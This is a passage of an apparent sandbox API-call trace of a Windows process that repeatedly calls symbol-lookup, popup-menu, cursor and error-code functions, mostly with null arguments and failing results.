FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.002] SymCleanup (hProcess=0x0) returned 0 [0219.002] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.002] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.002] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.002] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.003] GetLastError () returned 0x579 [0219.003] SetLastError (dwErrCode=0x579) [0219.003] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.003] SymCleanup (hProcess=0x0) returned 0 [0219.003] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.003] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.003] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.003] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=861, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.003] GetLastError () returned 0x579 [0219.003] SetLastError (dwErrCode=0x579) [0219.003] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.003] SymCleanup (hProcess=0x0) returned 0 [0219.003] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.003] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.003] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.003] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.003] GetLastError () returned 0x579 [0219.003] SetLastError (dwErrCode=0x579) [0219.003] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.003] SymCleanup (hProcess=0x0) returned 0 [0219.003] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.003] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.003] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.004] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0219.004] GetLastError () returned 0x579 [0219.004] SetLastError (dwErrCode=0x579) [0219.004] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.004] SymCleanup (hProcess=0x0) returned 0 [0219.004] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.004] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.004] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.004] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.004] GetLastError () returned 0x579 [0219.004] SetLastError (dwErrCode=0x579) [0219.004] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.004] SymCleanup (hProcess=0x0) returned 0 [0219.004] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.004] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.004] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.004] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.004] GetLastError () returned 0x579 [0219.004] SetLastError (dwErrCode=0x579) [0219.004] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.004] SymCleanup (hProcess=0x0) returned 0 [0219.004] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.005] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.005] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.005] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=295, param_4=642, param_5=0x0, param_6=0x0) returned 0 [0219.005] GetLastError () returned 0x579 [0219.005] SetLastError (dwErrCode=0x579) [0219.005] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.005] SymCleanup (hProcess=0x0) returned 0 [0219.005] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.005] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.005] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.005] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.005] GetLastError () returned 0x579 [0219.005] SetLastError (dwErrCode=0x579) [0219.005] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.005] SymCleanup (hProcess=0x0) returned 0 [0219.005] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.005] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.005] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.005] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.005] GetLastError () returned 0x579 [0219.005] SetLastError (dwErrCode=0x579) [0219.005] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.005] SymCleanup (hProcess=0x0) returned 0 [0219.006] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.006] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.006] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.006] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.006] GetLastError () returned 0x579 [0219.006] SetLastError (dwErrCode=0x579) [0219.006] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.006] SymCleanup (hProcess=0x0) returned 0 [0219.006] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.006] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.006] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.006] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0219.006] GetLastError () returned 0x579 [0219.006] SetLastError (dwErrCode=0x579) [0219.006] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.006] SymCleanup (hProcess=0x0) returned 0 [0219.006] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.006] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.006] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.006] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=354, param_4=518, param_5=0x0, param_6=0x0) returned 0 [0219.006] GetLastError () returned 0x579 [0219.006] SetLastError (dwErrCode=0x579) [0219.006] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.007] SymCleanup (hProcess=0x0) returned 0 [0219.007] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.007] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.007] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.007] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.007] GetLastError () returned 0x579 [0219.007] SetLastError (dwErrCode=0x579) [0219.007] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.007] SymCleanup (hProcess=0x0) returned 0 [0219.007] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.007] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.007] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.007] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0219.007] GetLastError () returned 0x579 [0219.007] SetLastError (dwErrCode=0x579) [0219.007] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.007] SymCleanup (hProcess=0x0) returned 0 [0219.007] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.007] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.007] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.007] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.007] GetLastError () returned 0x579 [0219.007] SetLastError (dwErrCode=0x579) [0219.008] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.008] SymCleanup (hProcess=0x0) returned 0 [0219.008] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.008] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.008] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.008] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0219.008] GetLastError () returned 0x579 [0219.008] SetLastError (dwErrCode=0x579) [0219.008] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.008] SymCleanup (hProcess=0x0) returned 0 [0219.008] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.008] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.008] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.008] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=804, param_4=439, param_5=0x0, param_6=0x0) returned 0 [0219.008] GetLastError () returned 0x579 [0219.008] SetLastError (dwErrCode=0x579) [0219.008] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.008] SymCleanup (hProcess=0x0) returned 0 [0219.008] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.008] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.008] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.008] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.008] GetLastError () returned 0x579 [0219.009] SetLastError (dwErrCode=0x579) [0219.009] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.009] SymCleanup (hProcess=0x0) returned 0 [0219.009] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.009] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.009] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.009] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.009] GetLastError () returned 0x579 [0219.009] SetLastError (dwErrCode=0x579) [0219.042] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.042] SymCleanup (hProcess=0x0) returned 0 [0219.043] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.043] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.043] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.043] GetLastError () returned 0x579 [0219.043] SetLastError (dwErrCode=0x579) [0219.043] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.043] SymCleanup (hProcess=0x0) returned 0 [0219.043] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.043] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.043] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0219.044] GetLastError () returned 0x579 [0219.044] SetLastError (dwErrCode=0x579) [0219.044] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.044] SymCleanup (hProcess=0x0) returned 0 [0219.044] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.044] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.044] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=53, param_4=312, param_5=0x0, param_6=0x0) returned 0 [0219.044] GetLastError () returned 0x579 [0219.044] SetLastError (dwErrCode=0x579) [0219.044] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.044] SymCleanup (hProcess=0x0) returned 0 [0219.044] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.044] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.044] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.044] GetLastError () returned 0x579 [0219.044] SetLastError (dwErrCode=0x579) [0219.044] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.045] SymCleanup (hProcess=0x0) returned 0 [0219.045] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.045] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.045] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0219.045] GetLastError () returned 0x579 [0219.045] SetLastError (dwErrCode=0x579) [0219.045] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.045] SymCleanup (hProcess=0x0) returned 0 [0219.045] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.045] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.045] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.046] GetLastError () returned 0x579 [0219.046] SetLastError (dwErrCode=0x579) [0219.046] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.046] SymCleanup (hProcess=0x0) returned 0 [0219.046] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.046] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.046] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.046] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.046] GetLastError () returned 0x579 [0219.046] SetLastError (dwErrCode=0x579) [0219.046] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.046] SymCleanup (hProcess=0x0) returned 0 [0219.046] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.046] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.046] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.046] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=925, param_4=273, param_5=0x0, param_6=0x0) returned 0 [0219.046] GetLastError () returned 0x579 [0219.047] SetLastError (dwErrCode=0x579) [0219.047] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.047] SymCleanup (hProcess=0x0) returned 0 [0219.047] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.047] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.047] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.047] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.047] GetLastError () returned 0x579 [0219.047] SetLastError (dwErrCode=0x579) [0219.047] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.047] SymCleanup (hProcess=0x0) returned 0 [0219.047] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.048] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.048] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.048] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.048] GetLastError () returned 0x579 [0219.048] SetLastError (dwErrCode=0x579) [0219.048] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.048] SymCleanup (hProcess=0x0) returned 0 [0219.048] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.048] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.049] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.049] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.049] GetLastError () returned 0x579 [0219.049] SetLastError (dwErrCode=0x579) [0219.049] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.049] SymCleanup (hProcess=0x0) returned 0 [0219.049] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.049] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.049] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.049] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0219.049] GetLastError () returned 0x579 [0219.049] SetLastError (dwErrCode=0x579) [0219.049] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.049] SymCleanup (hProcess=0x0) returned 0 [0219.049] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.049] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.050] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.050] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=418, param_4=32, param_5=0x0, param_6=0x0) returned 0 [0219.050] GetLastError () returned 0x579 [0219.050] SetLastError (dwErrCode=0x579) [0219.050] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.050] SymCleanup (hProcess=0x0) returned 0 [0219.050] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.050] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.050] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.051] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.051] GetLastError () returned 0x579 [0219.051] SetLastError (dwErrCode=0x579) [0219.051] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.051] SymCleanup (hProcess=0x0) returned 0 [0219.051] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.051] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.051] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.051] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0219.051] GetLastError () returned 0x579 [0219.051] SetLastError (dwErrCode=0x579) [0219.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.052] SymCleanup (hProcess=0x0) returned 0 [0219.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.052] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.052] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.052] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.052] GetLastError () returned 0x579 [0219.052] SetLastError (dwErrCode=0x579) [0219.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.052] SymCleanup (hProcess=0x0) returned 0 [0219.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.052] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.052] 